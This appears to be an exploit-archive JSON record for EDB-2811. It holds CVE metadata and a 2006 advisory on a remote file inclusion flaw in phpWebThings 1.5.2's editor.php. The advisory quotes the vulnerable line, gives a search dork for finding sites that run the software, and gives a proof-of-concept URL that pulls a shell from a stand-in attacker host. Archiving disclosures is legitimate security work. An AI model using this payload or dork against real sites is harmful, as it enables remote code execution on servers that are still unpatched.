{"exploit":{"id":"EDB-2811","name":"PHPWebThings 1.5.2 - 'editor.php' Remote File Inclusion (RFI)","description":"PHPWebThings 1.5.2 - 'editor.php' Remote File Inclusion (RFI)","cves":["CVE-2007-3141","CVE-2006-6042"],"author":"nuffsaid","published":"2006-11-18","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2811","path":"exploits/php/webapps/2811.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2811.txt","vulnerabilities":[{"id":"CVE-2007-3141","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in core/editor.php in phpWebThings 1.5.2 allows remote attackers to execute arbitrary PHP code via a URL in the editor_insert_top parameter. NOTE: the editor_insert_bottom vector is already covered by CVE-2006-6042.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-3141","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-3141"},"updatedAt":"2024-08-07T14:05:29.362Z","retrievedAt":"2026-11-26T14:10:06.578Z","stale":false,"error":null},{"id":"CVE-2006-6042","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in core/editor.php in phpWebThings 1.5.2 and earlier, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the editor_insert_bottom parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-6042","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-6042"},"updatedAt":"2024-08-07T20:12:31.342Z","retrievedAt":"2026-11-26T14:10:13.060Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2811.png?v=2","url":"https://exploitbin.com/exploits/EDB-2811","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2811/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2811/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"+-------------------------------------------------------------------------------------------\n+ phpWebThings 1.5.2 (editor.php) Remote File Include Vulnerability\n+-------------------------------------------------------------------------------------------\n+ Affected Software .: phpWebThings 1.5.2\n+ Vendor ............: http://www.phpwebthings.nl/\n+ Download ..........: http://prdownloads.sourceforge.net/phpwebthings/phpwebthings_1_5_2.zip?download\n+ Description .......: \"phpWebThings is a Powerful, professional application framework\"\n+ Dork ..............: \"This website was created with phpWebThings\"\n+ Class .............: Remote File Inclusion\n+ Risk ..............: High (Remote File Execution)\n+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>\n+-------------------------------------------------------------------------------------------\n+ Details:\n+ phpWebThings 1.5.2 core/editor.php does not initialize the $editor_insert_bottom variable\n+ before using it to include files, assuming register_globals = on, we can initialize the\n+ variable in a query string and include a remote file of our choice.\n+\n+ Vulnerable Code:\n+ core/editor.php, line(s) 289:\n+ -> 289: if ($editor_insert_bottom<>\"\") include($editor_insert_bottom);\n+\n+ Proof Of Concept:\n+ http://[target]/[path]/core/editor.php?editor_insert_bottom=http://evilsite.com/shell.php\n+-------------------------------------------------------------------------------------------\n\n# milw0rm.com [2006-11-18]","sha256":"4f03a8952613f18ba9ef4d8bb0834b770c940e761c2c4e82601bdc095b418caa","bytes":1478,"fetchedAt":"2026-11-26T14:10:06.304Z","encoding":"utf-8 (display only; download retains original bytes)"}